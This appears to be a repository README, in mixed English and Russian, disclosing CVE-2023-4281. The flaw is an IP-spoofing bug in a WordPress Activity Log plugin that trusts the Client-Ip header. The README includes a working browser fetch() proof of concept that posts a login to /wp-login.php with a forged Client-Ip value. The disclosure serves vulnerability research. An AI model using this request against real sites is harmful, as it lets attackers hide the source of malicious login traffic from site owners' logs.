
Repository for CVE-2023-4281 vulnerability.
CVE ID: CVE-2023-4281
Тип уязвимости: Подмена IP-адреса
Описание: Плагин Activity Log извлекает IP-адреса клиентов из потенциально ненадёжных заголовков, что позволяет злоумышленнику манипулировать их значениями. Это может быть использовано для сокрытия источника вредоносного трафика.
Шаги для воспроизведения:
Run the following code in the web browser and note on the backend that the IP address has been faked.
await fetch("/wp-login.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
"Client-Ip": "8.8.8.8",
},
"body": "log=USERNAME&pwd=PASSWORD",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
Ссылки: